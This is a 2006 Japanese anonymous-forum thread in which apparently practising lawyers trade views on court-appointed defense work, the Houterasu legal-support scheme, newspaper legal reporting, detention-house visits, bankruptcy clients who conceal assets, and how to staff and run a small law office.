769 :無責任な名無しさん:2006/08/28(月) 07:22:25 ID:JgOJ9I9Q
>>766
犯罪を真面目にやられては国民が迷惑だよ

770 :無責任な名無しさん:2006/08/28(月) 08:04:26 ID:3Ksv9KR7
「嫌なら引き受けない」と言えるところはいいなあ。
少なくとも中規模会以上なんだろうけど。

771 :無責任な名無しさん:2006/08/28(月) 08:22:02 ID:NvnSuisB
国選だと手を抜くってそんなにあるかな?
いくら嫌だなと思ってたって、国選でも大抵の人は情状証人を用意して、
被害弁償のお金がある人なら弁償したり示談を試みたりしている。
否認を引いてしまってもちゃんと法的な主張をしている。
特別情熱的に準備することもないけど、手を抜くというほどではないと思う。

多分、弁護士は公判に必要な程度の準備をすれば良いと考えているのに
対して、「私選だときちんとやるけど国選だと手を抜く」と言う被告人達は、
裁判以外の用事のために頻繁に接見に来てもらったり、自分の代わりに
家族友人知人に細々とした連絡役をしてもらいたいと思っていて、国選では
そこまでやらないから「手を抜いている」と言っているのではないのか。
私選で受けると、2日に一回位の割合で接見希望の電話が来ることが多いし。
そりゃ、裁判のための打ち合わせに必要なら、忙しくても、報酬の安い国選でも
頑張って頻繁に接見に行くさ。
けど、裁判準備は十分なのに、連絡役代わりに呼び出されたり、差し入れ
求められたり、裁判までの不安を解消するための愚痴を延々と聞いてやる
ような時間を割けるほど、国選報酬は出ないしそれは国選の役割でないから、
やってられない。

772 :無責任な名無しさん:2006/08/28(月) 08:51:09 ID:GSXQUBLW
>>771
国選は、手抜きが多いのか少ないのか、私は知らんが、
余りまじめに考えるてると肩がこるよ。
貴方の言うとおり、相手が相手だからね。

でも、実際には、引き受けると対検事、
対裁判所には、結構目一杯にやってる人が多い。


773 :無責任な名無しさん:2006/08/28(月) 08:51:22 ID:MIDseoNr
>>770
あと数年すれば呆テラスのスタッフ弁護士が全部やってくれるよ
それまで頑張れ!!!

774 :無責任な名無しさん:2006/08/28(月) 09:43:29 ID:vZyK8lET
我侭な被告人は自分の思い通りに弁護士がやらないと
  国選は手抜き!の罵倒が始まる。
それが「親から金借りて示談しろ」でも,「組に電話して○○しろ」でも。

国選は税金で雇われた使いぱっしり小間使い奴隷の感覚なんだよ。
そんなたわごとに付き合う必要はない。
我々は裁判所から委任された公益奉仕の立場なんだから。

775 :無責任な名無しさん:2006/08/28(月) 09:56:12 ID:Ig8Ipyxk
>あなたのような人がいるから国選をやる気がどんどんなくなるんだよね

私選でも仕事選んでたり、やる気なかったりするくせに

776 :無責任な名無しさん:2006/08/28(月) 10:01:20 ID:vZyK8lET
>>775
そろそろ非弁の荒らしさんはお帰りください
もう随分言いたい放題の無茶苦茶やってすっきりしたでしょ?
次回からはスレタイとローカルルール読んでからにしてね。
そんな基本的ルールを守らない人の発言は信用性が低いよ。

777 :無責任な名無しさん:2006/08/28(月) 10:23:06 ID:fB0rUvpe
正式な組員で国選を選ぶ奴は,それなりに道理が分かっているので
わがままは少ない感じがする。

手に負えないのは,わがまま放題に育ったチンピラのガキのために
親のお金で私選に付いた場合
俺は,昔,これに懲りたので,私選は顧問先の紹介以外
一切受けていない。

778 :無責任な名無しさん:2006/08/28(月) 10:57:26 ID:q2ZtrxR3
>>773
こちらでは,そうなりそうもないです。
そもそもスタッフ弁護士が来るかどうかも怪しいし,
来たところで他の会員の負担は少ししか減りません。

779 :無責任な名無しさん:2006/08/28(月) 12:22:53 ID:2euAZKYD
>>761
善良な市民は冤罪でない限り、刑事事件にはかかわらないと思うが・・・。

780 :無責任な名無しさん:2006/08/28(月) 12:26:09 ID:AFTU7Iwi
>>779
共産党のビラを配って捕まった人もいるけどねw
(共産党が善良な市民かはさておくw)

781 :無責任な名無しさん:2006/08/28(月) 14:06:04 ID:vCGL5rPr
>>777
>わがまま放題に育ったチンピラのガキのために
>親のお金で私選に付いた場合

言えてる言えてる。
まだ国選のほうが気持ちよく仕事ができる。

782 :無責任な名無しさん:2006/08/28(月) 14:11:31 ID:qfVOYM+c
国選は引き受けないっていう選択肢があります。
嫌なら引き受けなければいいだけです。
しかしながら実情、お金を払って依頼をしてくれる人のいない
ダメダメ弁護士が食うために国選を受けてるわけです。
困ったもんです。。

783 :無責任な名無しさん:2006/08/28(月) 14:32:42 ID:5aJj/Jia
引き受けるまで事案が分からないし,引き受けた後に弁護士がやめると言っても裁判所は辞めさせてくれない
ってのを知らないんだろうなあ

784 :無責任な名無しさん:2006/08/28(月) 14:37:27 ID:5aJj/Jia
http://adultfriendfinder.com/p/page.cgi

785 :無責任な名無しさん:2006/08/28(月) 14:52:18 ID:vZyK8lET
地方で弁護士が少ないと国選は当番で義務化されているのを知らないんだろうなー。
ダメダメ弁護士でなくても国選で食えるわけがないのを知らないんだろうなー。

786 :無責任な名無しさん:2006/08/28(月) 14:53:07 ID:vZyK8lET
>嫌なら引き受けなければいいだけです。

 こういう無責任な根性だから犯罪者になるんだろうなー。

787 :無責任な名無しさん:2006/08/28(月) 15:07:43 ID:5aJj/Jia
30歳半ばの女弁護士二人の会話

「私さ、結婚してくれって言われてるの」
「すごいじゃん。どんな人?」
「親」
「………」


788 :無責任な名無しさん:2006/08/28(月) 15:09:09 ID:a3XY/KJw
嫌なら国選を頼まなければよいのです。

789 :無責任な名無しさん:2006/08/28(月) 15:20:37 ID:89IT1F7j
月間大阪弁護士会 
8月号「司法記者クラブ座談会」より抜粋

司会(弁護士)
「ロースクールができてかなり人口が増えますが、
人口が増えることに関しては何かご感想はござい
ますか。」

読売新聞記者
「増えることはいいことだと思います。2800人が1
万人になれば、選ぶ側も選べるでしょうし、取捨選
択されて選別されていくでしょうから、いいんじゃな
いでしょうか。ただ、変な人ばかり増えると困るの
で、単に増やすだけじゃなくて、最低限度の法律知
識を持っておられて、人間として普通であることが
大前提で、だれでもかれでも弁護士になられると
また困るので、その変の兼ね合いが難しいと重い
ますが。」

(つづく)


790 :789:2006/08/28(月) 15:21:27 ID:89IT1F7j
(つづき)

弁護士A
「弁護士会としては、相当な検証期間を置いた上
でもう一度人口問題を考えるべきだというのが基
本的なスタンスですが、余りマスコミの方の理解
は得られてないようです。」

読売新聞記者
「既得権を守ろうとしている姿に映り、違和感があ
りますね。」

司会
「同じことを言っても、弁護士会の既得権を守ろう
とするように見えると厳しい報道になると。」

読売新聞記者
「そういうことじゃないですか。」

弁護士B
「例えば人口が増えると、弁護士事務所で実務研
修する期間が短かったり、行き届かない点が出て
くるということになるので、そういった点からも増や
していくのは困難じゃないかと思いますが。」

読売新聞記者
「そんなに実務の研修が必要なんでしょうか。我々
だって研修ないですよ。」

791 :無責任な名無しさん:2006/08/28(月) 15:28:45 ID:9ifC9K6S
>>790
だから新聞記者はとんでもない記事を書くことが多いわけだなw

792 :無責任な名無しさん:2006/08/28(月) 15:29:15 ID:NSVkmPrB
既得権を守ろうとする既存体制を批判する新聞自体が、
再販制度廃止の話しになると自由競争は新聞にそぐわないといって、
必死に抵抗するというこの矛盾。



793 :無責任な名無しさん:2006/08/28(月) 15:50:07 ID:eoZ0Z585
貧困者が多重債務で自殺したとの悲しい記事を書く一方、サラ金のバカでかい広告でこれまでさんざん金儲け
してきたのも新聞だ。要するに売れりゃあいいのよ。売れてなんぼの商売。まともに相手する方が馬鹿らしい。

794 :無責任な名無しさん:2006/08/28(月) 18:32:59 ID:zc9NUUB9
司法関係の記事や判決要旨が新聞に出ることがあるが、俺の見たところ記事の
内容や正確さは、朝日>>>>読売だな。
朝日はあまり好きな新聞ではないんだがその点から朝日を購読してる。

読売は朝日と比べるといいかげんな内容の記事が多い。
産経などははっきりいって無茶苦茶。本当に法を理解してるのかと。
思想の問題じゃなくてあくまで記事や判決内容の分析や記述の正確さの問題ね。
記者の質が違うのだろうか。

795 :無責任な名無しさん:2006/08/28(月) 19:20:08 ID:2euAZKYD
賃金も違うらしいですけどね。
記者の第一希望は朝日という人が多いようです。

朝日は政治は全く論外、
読売は文化欄が充実、

結局、日経でいいのかも。

というか、新聞を購読しなくてもネットで足りる。新聞は取る必要がない。
将来、長期ではそうなっていくと思う。

796 :無責任な名無しさん:2006/08/28(月) 19:52:27 ID:XkpmrWuu
自民党総裁選は9月8日告示、同20日投開票。あなたが投票できるなら誰に1票入れますか?
2006年08月28日より 計37082票

谷垣禎一 13% 4574 票
麻生太郎 20% 7152 票
安倍晋三 28% 10178 票
この3人には入れたくない 13% 4486 票
自民党には入れたくない 29% 10692 票
http://quizzes.yahoo.co.jp/quizresults.php?poll_id=3357&wv=1

797 :無責任な名無しさん:2006/08/28(月) 20:04:15 ID:iXIPF/rX
>>795
日経は,拝金主義ぽくって鼻につくので,つい最近地方紙に切り替えた。
おかげで3分で新聞が読めてしまう。中身なさ過ぎだ〜,地方紙。

798 :休憩中 ◆tr.t4dJfuU :2006/08/28(月) 20:04:42 ID:JSzMbIIp
新聞ね〜。日経だろうな。眠い・・・

799 :無責任な名無しさん:2006/08/28(月) 22:56:51 ID:ZC5yDYom
http://d.hatena.ne.jp/Barl-Karth/20060829
法テラス問題が当弁護士会総会で審議される(起案中)

800 :無責任な名無しさん:2006/08/29(火) 06:14:34 ID:Zm9vRGUr
>790
新聞記者は実務研修なくても記事を書いていけるかもしれない。
変なこと書けば読者から批判が来たりするだろうし、内部の目もあるだろうから
記者として未熟なことが直接的な問題を起こすことはないのかもしれない。
でも、弁護士の仕事っていうのは、具体的なある人の事件を受けていくわけ
だから、新人なので失敗しました、ごめんなさい、次からは頑張りますでは
通用しないのにね。その人にとっては、次がないんだから。


801 :無責任な名無しさん:2006/08/29(火) 09:18:23 ID:EYHzzmdG
マスコミはほんとうに馬鹿だよな。

802 :無責任な名無しさん:2006/08/29(火) 09:42:52 ID:zOMVnhKy
「法テラスの監督下では国選弁護ができない、という反対論者は、法テラスが介入してきたときに、それに屈してしまう臆病者に過ぎない」(日弁連速報)

ほぉー勇ましいねえー。是非はともあれ開戦してしまった以上戦わないのは非国民だとさ。

803 :無責任な名無しさん:2006/08/29(火) 10:28:30 ID:YFs0Nd9I
>>800
それに最初のうちはデスクなどの上司が記事を見て訂正や指導をしてくれる

弁護士も基本的にはそうだが
いきなり独立する人間もいるわけで(しかもそれを止めることはできない)実務研修は必須

804 :無責任な名無しさん:2006/08/29(火) 10:31:52 ID:5z2viCZs
国選をやらない奴らのことなんて,
もう,どうでもいいんだけどね。

805 :無責任な名無しさん:2006/08/29(火) 11:34:42 ID:fJZ5qWW/
法テラスの介入に対して日弁連が支援してくれるとは思えないけどね

ま,契約したけど

806 :無責任な名無しさん:2006/08/29(火) 11:41:37 ID:ATudzF5P
 たまった起案も、家庭も放り出し、一人でどこかに旅をしたい・・・。

807 :無責任な名無しさん:2006/08/29(火) 11:48:54 ID:fJZ5qWW/
2,3日旅してみろ
鬱で仕事するより能率良いぞ
で,時間ある間にはグチグチ悩んでいた箇所も,時間がなくなって気合いで処理した方が良かったりすることもあるし

808 :無責任な名無しさん:2006/08/29(火) 12:17:19 ID:aadqf7FS
>>804
どうでもいいんなら放っておいてほしい。変に圧力かけたり恫喝したりしないでさ。
別に会内での出世や役職なんか全く望まないからさ。
すでに制度ができてしまったからそれに従うべきなんて弁護士の口にする台詞じゃないよ。
小規模単位会の人は大変だろうなあ。

809 :無責任な名無しさん:2006/08/29(火) 12:39:49 ID:batSrpOP
ホント馬鹿な執行部持つと苦労しますね。
呆テラスやる人もやらない人も。

810 :無責任な名無しさん:2006/08/29(火) 12:42:07 ID:prkDyF+q
この程度の弁護士にこの程度の執行部

811 :無責任な名無しさん:2006/08/29(火) 12:46:26 ID:c8br8N26
もう終わった議論。
つまらん蒸し返しをするな。


812 :無責任な名無しさん:2006/08/29(火) 12:48:05 ID:prkDyF+q
まぁ、でも、この頃の日弁連速報って、勧誘実績を競い合う宗教団体機関紙みたいだな。

813 :無責任な名無しさん:2006/08/29(火) 13:52:25 ID:SrZ5+wln
人権擁護をお題目とする宗教団体との違いについて。

814 :無責任な名無しさん:2006/08/29(火) 14:24:31 ID:batSrpOP
宗教団体の方がビジネスが上手

815 :無責任な名無しさん:2006/08/29(火) 14:27:26 ID:SrZ5+wln
宗教団体の方が構成員は上部組織や幹部を信頼しているw

816 :無責任な名無しさん:2006/08/29(火) 15:33:07 ID:XWGGhoCB
>>803
最初のうちだけではなく,新聞記者の書いた記事は,キャリアが何年あろうと,常に全て整理部がチェックします。

817 :無責任な名無しさん:2006/08/29(火) 16:32:41 ID:VmmKTPou
339 :Miss名無しさん :2006/08/29(火) 14:21:10 ID:cdAbpNVq
まあ、上から目線で医師を語れる立場の人達も世の中にはいるってわかりますけどね。
確率的に言ってどうなのよ?リアルで社会的に医師より上を行く人って多数派ではないよ。

一般庶民や大多数の中小リーマンからみればまだまだ医師のステータスは上にあるよ。
庶民なのに庶民の目線で物を見ない人が2ちゃんには多すぎる。


340 :Miss名無しさん :2006/08/29(火) 14:35:07 ID:7S6+syXH
医師を上から目線で語れる人は大地主で働かなくても食っていける
有閑階級のニート様だけだと思われます。もちろん受験競争とも
無縁の田舎暮らしの連中ね。

それ以外は結局コンプレックス。
サラリーマンは社会的地位コンプレックスを医師に感じてる。
どんなに金があったり東京大学卒でもね。しょせんリーマン。

起業家も結局はただの中小企業の筆頭者。地位なし。

以下はライバル視から来る牽制。
弁護士は文系コンプレックスと俺らのほうが偉いというライバル視。
官僚も俺らのほうが偉いといいつつ独立できないというコンプレックス。
まアこの人たちはコンプというよりライバル視だね。

818 :無責任な名無しさん:2006/08/29(火) 16:33:52 ID:VmmKTPou
342 :Miss名無しさん :2006/08/29(火) 14:49:23 ID:cdAbpNVq
弁護士や官僚が医師をライバル視するかなあ?
少なくとも逆はないんじゃないかな。
医師も弁護士もお互い専門性が高い職種だし
本人達はどっちが偉いだとか考えてないと思うけど。
官僚はわからないけどね。

343 :Miss名無しさん :2006/08/29(火) 15:12:38 ID:7S6+syXH
ライバル 好敵手 つまりお互いを認め合う仲
しかし俺のほうがすごいんだぞという気持ちもある。

344 :Miss名無しさん :2006/08/29(火) 15:24:33 ID:cdAbpNVq
お互い我関せずじゃないの?

http://human5.2ch.net/test/read.cgi/sfe/1155189303/l50

819 :無責任な名無しさん:2006/08/29(火) 16:52:51 ID:okwWS2ZP
すみません、質問スレは実務レベルで分かる方がいないので
ここで教えてください。

冤罪事件に巻き込まれ係争中です。
相手を偽証告訴と偽証罪で訴えるにあたって証拠が必要なのですが、
現在押収されていてほとんどが帰ってきません。
(すでに一審は終了していて控訴中)
この場合、告訴状にはその旨書き添えればいいのでしょうか。

また押収品の中には無理やり所有権放棄させられたものがあるのですが、
抗議して返却を求めることができますか。
携帯電話も押収され、それはすぐに返却されたのですが、ただ返却の際
証拠品係りの人から「担当検事から目の前でデータを償却するように言われた」
と言われて、泣く泣く消去しました。(反訴するための大切な証拠だった)

その時はそういうルールなのかと思って従ったのですが、実際に押収されたものを
消去されたり所有権放棄させられたり、しなければいけないものなのですか?

820 :無責任な名無しさん:2006/08/29(火) 17:00:40 ID:fJZ5qWW/
金払って弁護士に相談せよ
国選でも弁護人が付いているんだったらそいつに相談せよ

終わり

821 :無責任な無責任:2006/08/29(火) 17:01:25 ID:/EOUGmLB
 真剣な相談は、お金を支払って、法律事務所へ相談に行くべし。中途半端な情報に基づく相談は、火傷するだけですよ。

822 :無責任な名無しさん:2006/08/29(火) 18:09:14 ID:5uXhOqzh
>>787
オリジナルかどうか知らないけど、笑った

823 :無責任な名無しさん:2006/08/29(火) 18:42:09 ID:bYCFnh8Z
>>809810
どうして脳みそのなさそうなのにかぎって立候補するんだろうな

824 :無責任な名無しさん:2006/08/29(火) 18:48:00 ID:SrZ5+wln
>>823
脳みそがないから(本業で実績作れないから)立候補するんジャマイカ

825 :無責任な名無しさん:2006/08/29(火) 19:05:57 ID:6fzIjVpo
結局ここも弁護士はいないのね。
確かにこんな腐ったやつらが弁護士だったら困るけど・

826 :無責任な名無しさん:2006/08/29(火) 19:12:40 ID:SrZ5+wln
↑と非弁が弁護士のフリして荒らしてます

827 :無責任な名無しさん:2006/08/29(火) 19:22:54 ID:RD5iHUWy
>>706
だいたい、そんな具合なのですか・・

それで、裁判所の掲示板で検察審査会の審査結果(不起訴相当)の公告って、
HPでは見れないか・・

828 :無責任な名無しさん:2006/08/29(火) 20:12:31 ID:9F0yLpyY
[3分間接見]国に10万円賠償命令 東京地裁
http://news.livedoor.com/webapp/journal/cid__2381709/detail?rd

判決によると、野辺弁護士は昨年10月17日午前11時28分ごろ、弁護を引き受けた男性被告との
接見を拘置所で申し込んだ。11時57分ごろから接見できたが、職員に正午で打ち切られた。
拘置所は、午前中の接見申し込みは11時半まで、正午からの1時間は休憩時間と決めている。

やっぱ拘置所の接見は朝一で行くに限るw

829 :無責任な名無しさん:2006/08/29(火) 20:18:18 ID:0WnXNFIW
接見は移監前に代用監獄…もとい…代用刑事施設で済ませるに限る

830 :無責任な名無しさん:2006/08/29(火) 22:36:38 ID:TkeokfHv
東京拘置所は遠すぎるんだよ。

831 :無責任な名無しさん:2006/08/29(火) 22:55:10 ID:tgK1wZ5k
ほんっっっと遠すぎる。
暑くて死ぬ。

832 :無責任な名無しさん:2006/08/29(火) 23:56:26 ID:GwPiM6pk
>>823
脳味噌がある人はまともな判断(立候補しないという判断)ができるから。

脳味噌がある人もやりたいといえるだけの報酬を執行部に与えればいい。

833 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/30(水) 00:04:16 ID:DsErAyCq
東京拘置所:東武線小菅駅から徒歩15分。午後5時5分前になると係員が「あと5分ですよ」と告げに来る。
名古屋拘置所:名鉄線東大手駅から徒歩5分。名刺の裏に被告人の氏名を記載するだけで申込手続完了。
大阪拘置所:地下鉄都島駅から徒歩15分。道が判りづらい。
福岡拘置所:地下鉄藤崎駅から徒歩5分。午後5時になっても係員は来ず。

834 :無責任な名無しさん:2006/08/30(水) 00:28:26 ID:+UZ+FhlQ
代用監獄の方が、接見時間にゆとりがあるでしょう。
食事中は待たされるけど、夜でもOKだし。

なんで一部の弁護士(左翼系?)はそんなに反対するのだろう?あほじゃないか。

835 :無責任な名無しさん:2006/08/30(水) 08:09:10 ID:kIqw/8dB
>>834
弁護人の接見の都合だけならそういう面もあるわな。
大多数の自白事件とまともに相手する気にならないむりやり否認事件なら
それでいいかもしれない。
でも、本気で争わなければならない否認事件(客観証拠に乏しいだけ自白
獲得に熱心になる)だと、弁護人の都合ばかりいってらんなくなるってこと
じゃない。想定している事件の種類が違うんだと思うよ。

836 :無責任な名無しさん:2006/08/30(水) 09:23:17 ID:aP3iLTQ3
当番弁護士が曲がりなりにも機能してるのは、代用監獄の制度があるからだからなあ。
土日だろうが夜だろうが、電話一本いれれば接見できるから。

あと、これは地方特有の現象かもしれないけど、警察での接見のほうが待ち時間が短くて済むんだよね。
警察の接見室は一つしかないことが多いけど、ほとんどの場合はすぐに接見室に入れるし、被疑者も
すぐに連れてきてくれる。
本庁の大きな拘置所となると、申し込んでから被疑者を連れてきてもらうまで、平気で20分〜30分
待たされるし。

837 :無責任な名無しさん:2006/08/30(水) 09:48:53 ID:/Fc8Xbx+
拘置所で土日の接見を認めればよいのでしょうな
あと時間もせめて7時くらいまで

朝は早いんだけどね

838 :無責任な名無しさん:2006/08/30(水) 15:06:23 ID:9RnQ3UiL
俺はクレサラ弁だが、最近の依頼者は弁護士を騙そうという奴ばっかりだ。
ホトホト疲れたよ。今はネットで破産に関する知識が簡単豊富に手に入るから
弁を騙すなんてチョロイんだよね。俺はそういう依頼者は受任しないが、
騙されたふりをしたり、あるいはそもそも騙されていることにすら気づかないで
受任する書士って一杯いるんだろうな。

839 :無責任な名無しさん:2006/08/30(水) 15:08:49 ID:llrdibpA
騙そうとしてくる具体例を教えてよ。
俺、クレサラは滅多にやらないので、コロッと騙されるかも。

840 :無責任な名無しさん:2006/08/30(水) 15:09:46 ID:3iHJMX+G
もうクレサラは終わりだから心配することはないでしょう。

841 :無責任な名無しさん:2006/08/30(水) 15:31:40 ID:bdRb8yqe
今、やる気を出そうと思って、やらなければいけない事を書き出してみた。
一気にやる気がうせた。

842 :無責任な名無しさん:2006/08/30(水) 15:58:40 ID:/L4WGrBm
>839
破産申立費用を借り入れて温存しておく、直前だとバレるが、1ケ月ぐらい前だと
返済や生活費に使ったといえばバレないそうだ。ネットで読んだってさ。

地方に相続物件があるのに言わない。同廃だと黙っていればわからんでしょうだってさ。
どこでそんな知恵をつけたんだい?


843 :無責任な名無しさん:2006/08/30(水) 15:59:14 ID:VKDLAavZ
>>841
ここにコピペしる。

まあ、よく言われることだが、すぐにできる簡単なものから
順次こなしていくのが良いと思われ。

844 :無責任な名無しさん:2006/08/30(水) 16:12:26 ID:mTGraTpj
免責ねらいで計画倒産まがいの奴が増えたってことですかね。
短期間に複数のサラ金から借りまくってたり,
カードで買物してたりしたら,だれでも怪しいと分かるけど,
少し手が込んでたら,俺だまされるな。


845 :無責任な名無しさん:2006/08/30(水) 16:49:41 ID:bdRb8yqe
本人申立ての破産管財人やってるけど、マジやばい。
郵便物でばれるのに。

846 :無責任な名無しさん:2006/08/30(水) 17:04:54 ID:dJ8cmnHb
>>842
ちょっと考えれば思いつくだろうが....
見破る方法は残念ながらないでしょう

847 :無責任な名無しさん:2006/08/30(水) 18:03:40 ID:/Fc8Xbx+
管財人やっていた事件で,解約返戻金隠していた奴がいたが,あっさり保険会社からの連絡が来て分かった。
でも,家も売られてかわいそうなので,積み立てさせずに放棄してやった

申立人代理人のときに,嘘ついて預金隠そうとする奴はいるね。
そういうことが続いたので,最近,あえて申し立てをすこし遅らせ目にするようになった。
それだけでボロ出す奴はボロを出す。

848 :無責任な名無しさん:2006/08/30(水) 19:04:47 ID:0oYxK2Gl
地方で弁1事務1で事務所をやっているのだが,たまにどちらも出払ってしまって,昼間なのに事務所が留守電になってしまう。
裁判所などは慣れているからいいけれど,たまーに,平日昼間なのに留守電なのは変じゃないかという依頼者もいないではない。
小規模事務所の皆さんはどうしてますか?
なんとか空っぽにならないように努力されていますか?
携帯に転送したりして頑張ってますか?
それとも開き直って留守電ですか?

849 :無責任な名無しさん:2006/08/30(水) 19:07:52 ID:WZ72jHJl
某クレサラ事務所が出した債務整理の本みたら
事務所紹介で事務員、社員100名以上だってさ
弁護士数人なのにw

850 :無責任な名無しさん:2006/08/30(水) 19:17:25 ID:oVI7F/oH
裁判所から見たらかえってこんな事務所の方が安心です。
何故なら、事務員、社員が多いと、必然的に統一的な処理がなされていて
ごまかしや隠匿が入る余地が少ないからです。


851 :無責任な名無しさん:2006/08/30(水) 19:18:13 ID:cPWc/Q6w
>848
時々弁1事務1事務所があるけれど、本当にどうしてるんでしょうね?
私は近々独立する予定なのですが、最初は事務員1人しか雇用できないと
思われます。しかし、それでは外回りする人がいない。
弁護士が銀行や裁判所を巡って歩くしかないのか?
最初はそれでも何とかなりそうだけど。
昼休みを留守電にする位は許容範囲なのかな。

852 :無責任な名無しさん:2006/08/30(水) 19:19:47 ID:dJ8cmnHb
>>851
留守電の何が悪い。
申立は全部郵送

853 :無責任な名無しさん:2006/08/30(水) 19:30:40 ID:kP8rQ/YS
経験上事2は必要不可欠。
事務員が辞めることになった場合のことを考えても,事2の方がいい(最初はともかく,事件が増えてきてからたった1人の頼りきりの事務員に突然辞められたら大パニック間違いなし)。


854 :無責任な名無しさん:2006/08/30(水) 19:53:28 ID:/Fc8Xbx+
そこで嫁ですよ

855 :無責任な名無しさん:2006/08/30(水) 20:01:37 ID:gmWMM0lE
>>854
なるほど。よし,嫁を探してくる!

856 :無責任な名無しさん:2006/08/30(水) 20:07:38 ID:llrdibpA
>>854
嫁は2人もてないからなあ。

ところで、女性弁護士が独立ってどうするんだろう?
なんか、もっと大変なイメージ。

857 :無責任な名無しさん:2006/08/30(水) 20:41:04 ID:/Fc8Xbx+
パパじゃねえかw

さて陳述書も作ったことだし帰るか

858 :無責任な名無しさん:2006/08/30(水) 20:45:13 ID:w5CPBFr8
電話番の余剰事務員が欲しいわ〜
人材派遣とかどうなんでしょうか。
http://www.youtube.com/watch?v=UV_L5I-CSNw


859 :無責任な名無しさん:2006/08/30(水) 21:56:58 ID:UCebJqC0
電話番くらいだったら,電話秘書システムの会社に頼めば良いのでは。
電話の都度,メールで用件を送信してくれて,
1ヶ月の料金は1万円強くらいですみますよ。
私は,弁1事務1事務所ですが,電話秘書システムも併用しています。

860 :無責任な名無しさん:2006/08/30(水) 22:24:12 ID:vL98h4uY
>>856
事実上の嫁を持てばよいのでは?

861 :休憩中 ◆tr.t4dJfuU :2006/08/30(水) 22:53:56 ID:rzBbMb2b
>860
それは危険。
少なくとも事務所に入れるのはキケン。

できれば嫁も事務所に入れない方が良い。

862 :無責任な名無しさん:2006/08/30(水) 23:31:39 ID:3jeOqkRu
>>861
同感。
嫁を入れるともめる危険性が高い。
若くてかわいい事務員なんかがいるともう最悪です。
やはり家庭と仕事は分けましょう。

863 :MS754 ◆yGUnQdhyV2 :2006/08/30(水) 23:45:18 ID:CnO4xKCp
またまた、話を豚切りですが。

本日の野菜 トウモロコシ 30本  

累計 トウモロコシ 60本 男爵イモ 10s

こんどは、トウモロコシとは・・・・・。

864 :無責任な名無しさん:2006/08/31(木) 00:14:16 ID:IueCzJc5
夫婦で事務所経営してる人もいるぞ。そういう場合はたいてい嫁さんは
旦那のサポート役みたいな形になってるんだが。女性弁護士はそういう
パターンが多い。

865 :休憩中 ◆tr.t4dJfuU :2006/08/31(木) 00:34:23 ID:xmBYVMyT
私の知る限り奥さんのがキッツイ人のが多い。
相手につくと憂鬱になるような。

866 :無責任な名無しさん:2006/08/31(木) 01:06:59 ID:Lu1t/zpX
うちの1歳2ヶ月の長男は、とうもろこしが大好きです。
他人のものも食べてしまいます。

867 :無責任な名無しさん:2006/08/31(木) 05:57:04 ID:SX1IOO2x
燃料投下します。
弁護士法特例で、1.簡裁代理(司書)と2.サービサーについて。
1.簡裁代理(司書)を似非弁とするか否か。(行書の二の迭を踏ませ、有資格無権へ・・)
2.サービサーの時限立法は延長されるか否か。

法テラスは別スレ既存のため、ここでは除外します。

868 :無責任な名無しさん:2006/08/31(木) 09:12:19 ID:Iy7KcMyc
ウチは、嫁を入れて事務員二人体制。
ただ、地方だと弁護士会も裁判所も市役所も法務局も事務所から歩いて数分のところにあるから、
事務員一人でも何とかなるよ。独立当初は事務員が確保できなくて嫁一人体制だったが、
なんとかなった。
弁護士が事務所で起案やってる間に市役所や法務局の外回りやってもらえばいいんだよ。
弁護士が裁判所に行ったら、弁護士自ら裁判所と弁護士会に寄って来ればいいし。

869 :無責任な名無しさん:2006/08/31(木) 09:46:29 ID:2GoUN83U
結局、依頼者層をどこにおくかだろうな。
アッホームな雰囲気でそこが好き、という依頼者層なら事務員1でよいし
貧乏そう、はやってなさそう、機動力なさそう、と考える依頼層なら事務員複数だな。


870 :無責任な名無しさん:2006/08/31(木) 10:13:04 ID:1AD2bc7y
そうなんだよな
結局は事務所の方針によるんだよな

事務員充実させて弁護士がやらないといけない仕事だけに集中するシステムにするか
弁護士も雑用をこなすようにして経費を抑えるシステムにするか

結局税金引かれたら残る額は余り変わらないし。


871 :無責任な名無しさん:2006/08/31(木) 10:29:00 ID:taOdYeQJ
そう、そう、そうなんだよな。俺は4年前に比べて売上も利益も4倍以上に増えたが、納税額がびっくりするほど増えて
結局手取りはあんまり変らないんだよな。事務所の規模が大きくなった自己満足、長者番付にのる自己満足、優越感はあるが
無茶苦茶忙しくなってしまったし、固定経費激増したため、売上げ減少の場合の不安感も常にある。
こじんまりであはあるが、利益率がとても高かった4年前の方が良かったように感じる今日この頃です。

872 :無責任な名無しさん:2006/08/31(木) 10:49:45 ID:BFAT4hMy
架空人件費だけは,やめましょうね。

873 :無責任な名無しさん:2006/08/31(木) 11:16:25 ID:h1XXk6hX
そう言えば,俺の隣に事務所を構えてる弁護士は,
奥さんの机だけ事務所に置いて,青色専従者扱いにしているなw

874 :無責任な名無しさん:2006/08/31(木) 11:42:05 ID:Iy7KcMyc
>>873
ウチも嫁専従者にしてるが、デスクだけでなく、嫁がしっかり出勤して仕事してるぞ。
経理関係なんて、所長であるオレもよく知らないけど、嫁が完全にやってくれてるぞ。

この話をすると、なぜか他の弁護士から同情されるけど。

875 :無責任な名無しさん:2006/08/31(木) 11:42:34 ID:Uzz/Jocu
オレはやる気のない弁護士だし事務所を大きくしたいとも思わないから
事務員一人の零細事務所
でも今年は相続で大きく入ったからもう1年分稼いじゃった
マターリ過ごす今日この頃

876 :無責任な名無しさん:2006/08/31(木) 11:47:56 ID:iBkOsgRV
もめていない高額相続の処理ほどおいしい仕事はない!

877 :無責任な名無しさん:2006/08/31(木) 11:51:05 ID:VQGxv9jn
>>875
相続で大きく入るのって、どんな場合ですか?
私の場合、しがない遺産分割でいがみ合いに巻き込まれ( _ _)

878 :無責任な名無しさん:2006/08/31(木) 12:03:10 ID:1AD2bc7y
金持ちの相続で,跡継ぎじゃなくってお金をもらう側
だろう
>>873-874
嫁を青色専従者は全然架空人件費じゃないだろ

879 :無責任な名無しさん:2006/08/31(木) 12:38:31 ID:9Q7gJwq2
>奥さんの机だけ事務所に置いて

「机だけ」=架空人件費

880 :無責任な名無しさん:2006/08/31(木) 13:16:28 ID:9kZZ7pq7
嫁を経理担当にして月に数回程度出勤させてるような人は何人か知ってる
青色専従者にして節税対策にはなるが,
お金の出入りが全部嫁に知られてしまう諸刃の・・・

881 :無責任な名無しさん:2006/08/31(木) 15:09:49 ID:iBkOsgRV
妻に収入を知られたら、弁護士になった意味が半減するよね。

882 :無責任な名無しさん:2006/08/31(木) 15:33:46 ID:pR8ZbbkS
しかし、経理担当事務員にお金の出入りを全て把握されるより、
身内に把握されている方がまだましな気がする。

883 :無責任な名無しさん:2006/08/31(木) 16:25:40 ID:BFAT4hMy
>>882
ぜんぜんそんなことはない。

